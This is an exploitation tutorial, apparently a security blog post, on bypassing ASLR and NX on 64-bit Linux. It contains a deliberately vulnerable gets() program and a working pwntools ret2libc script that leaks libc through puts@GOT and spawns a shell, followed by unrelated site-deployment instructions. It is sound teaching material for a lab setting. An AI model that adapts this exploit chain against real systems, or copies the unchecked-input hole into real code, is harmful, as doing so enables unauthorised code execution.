# Bypassing ASLR & NX/DEP (Diving Deeper) **Published:** 2023-11-01 **Author:** Jacob Swinsinski (0xXyc / JAKESWIZ) --- ## Introduction **ASLR (Address Space Layout Randomization)** randomizes addresses in dynamic libraries, stack, and heap. It does NOT touch the binary unless compiled with PIE (Position Independent Executable). ASLR was created to prevent memory corruption exploitation techniques that rely on hardcoded addresses. ### Verify ASLR with ldd ```bash ldd aslr-1 # Addresses change each run: linux-vdso.so.1 (0x00007ffffdcdd000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdb9f400000) ``` ## Bypassing ASLR: Three Methods 1. **Address leaking** (covered here) - knowledge of PLT and GOT 2. **Relative addressing** 3. **Bruteforcing** ## Vulnerable Code (aslr-1.c) ```c #include int main(int argc, char* argv[]) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char buffer[40]; printf("Enter some data:\n"); gets(buffer); // Vulnerable! printf("So, you think you can bypass the almighty ASLR protection?\n"); return 0; } ``` ### Compile with Docker (downgraded GCC for correct gadgets) ```bash docker run --rm --mount type=bind,source="$(pwd)",target=/app -w /app gcc:10.5.0 gcc -Wall -g -fno-stack-protector -no-pie aslr-1.c -o aslr-1 ``` ### Checksec Output ```bash checksec aslr-1 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled # Need ROP PIE: No PIE (0x400000) ``` ## Exploitation Strategy Since NX is enabled, we need **ROP (Return-Oriented Programming)**. Since ASLR is enabled, we need to understand the **GOT (Global Offset Table)**. The GOT acts as a "dictionary" storing external addresses from `libc`. These values are determined at runtime by the linker. ### Why puts()? Calling `puts()` allows us to output the external address of `puts@libc`, revealing where `libc` is mapped in memory. ### View puts@GOT ```bash objdump -R aslr-1 # Look for: 0x0000000000003fc0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 ``` ### Find puts@PLT (fixed address, unaffected by ASLR) ```bash objdump -d -M intel aslr-1 | grep "puts@plt" # Result: 0000000000401030 ``` ### Find ROP Gadget (pop rdi; ret) x64 calling convention requires first parameter in RDI register. ```bash ropper --file aslr-1 --search "pop rdi" # Result: 0x00000000004011cb: pop rdi; ret; ``` ### Find Offset with cyclic pattern ```bash gdb aslr-1 cyclic 100 # Pattern: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa r # Paste pattern # Crash! Examine RIP cyclic -l gaaaaaaa # Result: Found at offset 48 # Offset + 8 (RIP) = 56 bytes padding ``` ## Exploit Development: Three Stages 1. **Leak** the libc address (`puts@GLIBC`) 2. **Obtain** addresses and offsets 3. **Calculate** the base address of libc ## Automated Exploit with pwntools ```python #!/usr/bin/env python3 from pwn import * from pwnlib.rop.rop import ROP from pwnlib.util.packing import p64, u64 exe = context.binary = ELF('./aslr-1', checksec=False) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False) p = process(exe.path) # Stage 1: Leak libc address offset = b'A' * 56 rop = ROP(exe) rop.puts(exe.got['puts']) rop.call(exe.symbols['main']) payload = offset + rop.chain() p.sendline(payload) leak = p.recv().split(b'\n')[1] leaked_puts = u64(leak.ljust(8, b"\x00")) log.success(f"Leaked puts@GLIBC: {hex(leaked_puts)}") # Stage 2: ret2libc libc_base = leaked_puts - libc.symbols['puts'] libc.address = libc_base rop2 = ROP(libc) ret = rop2.find_gadget(["ret"])[0] rop2.system(next(libc.search(b'/bin/sh\x00'))) payload = offset + p64(ret) + rop2.chain() p.sendline(payload) p.interactive() ``` ## What's Happening in the Code? 1. **Stage 1 ROP Chain:** - `pop rdi; ret` → pops address of `puts@GOT` into RDI - `puts@PLT` → writes the address to STDOUT - `main()` → calls main again (so process doesn't exit and invalidate the leak) 2. **Calculate libc base:** ```python libc_base = leaked_puts - libc.symbols['puts'] ``` 3. **Stage 2 ROP Chain (ret2libc):** - `ret` instruction (for stack alignment) - `pop rdi; ret` → pops address of `/bin/sh` into RDI - `system()` → executes `/bin/sh` ## Result ```bash [*] Stage 1 ROP Chain: 0x0000: 0x40120b pop rdi; ret 0x0008: 0x404018 [arg0] rdi = got.puts 0x0010: 0x401030 puts 0x0018: 0x401142 0x401142() [+] Leaked puts@GLIBC: 0x7ff4e0680e50 [*] Stage 2 ROP Chain: 0x0000: 0x7ff4e062a3e5 pop rdi; ret 0x0008: 0x7ff4e07d8698 [arg0] rdi = 140689715070616 0x0010: 0x7ff4e0650d70 system [*] Switching to interactive mode $ whoami # Shell acquired! ``` ## Key Takeaways 1. **Leak, don't guess** - Use `puts@GOT` to leak a libc address 2. **Calculate base** - Subtract known offset to find libc base 3. **Call main() twice** - Process must not exit between leak and exploitation 4. **x64 requires `pop rdi; ret`** - First argument goes in RDI 5. **Stack alignment** - Add a `ret` gadget before `system()` on some systems ⛧ *ASLR is not a silver bullet. Understand the GOT. Become the exploit.* ⛧ ``` --- ## Instructions to Add to Your Site 1. Save each block of text as a separate `.md` file in your `/articles` folder: - `fukahi-tekio-encoder.md` - `windows-shellcoding-in-depth.md` - `aslr-bypass.md` 2. Run your site generator: ```bash python3 site_generator.py ``` 3. The generator will automatically: - Convert each Markdown file to HTML - Add them to the "scripture" tab - Create downloadable `.txt` versions 4. Deploy the updated `output/` folder to Cloudflare Pages ⛧ *Malware Bless* ⛧